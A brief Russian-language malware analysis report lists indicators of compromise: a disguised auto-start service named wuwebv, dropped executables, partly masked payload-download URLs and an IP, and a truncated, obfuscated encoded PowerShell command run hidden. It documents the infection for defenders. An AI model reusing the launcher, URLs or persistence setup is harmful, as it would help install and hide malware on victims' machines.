Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wuwebv] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wuwebv] 'ImagePath' = '"%WINDIR%\SysWOW64\NlsData0013\wuwebv.exe"'
- 'wuwebv' "%WINDIR%\SysWOW64\NlsData0013\wuwebv.exe"
- 'wuwebv' %WINDIR%\SysWOW64\NlsData0013\wuwebv.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGADcANAB5AGMAcgA3AD0AKAAnAEQAJwArACgAJwBrACcAKwAnAGgAbgAxACcAKQArACcAMgB1ACcAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdABlAE0AUABcAFcATwByAEQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\d11ong43.exe
- %WINDIR%\syswow64\nlsdata0013\wuwebv.exe
- %TEMP%\word\2019\d11ong43.exe в %WINDIR%\syswow64\nlsdata0013\wuwebv.exe
- '19#.#36.179.102':80
- http://ma##ue.es/stat/HWDzR/
- http://19#.#36.179.102/KlNqKkkW2K0g9Va/ay9Qs/gmdK/uzwPwN/x6cbKWdtkcWUgwvQJ4/WafWEag/
- DNS ASK ma##ue.es
- '%TEMP%\word\2019\d11ong43.exe'
- '%WINDIR%\syswow64\nlsdata0013\wuwebv.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGADcANAB5AGMAcgA3AD0AKAAnAEQAJwArACgAJwBrACcAKwAnAGgAbgAxACcAKQArACcAMgB1ACcAKQA7ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAdABlAE0AUABcAFcATwByAEQAXAAyADAAMQA5AF...' (со скрытым окном)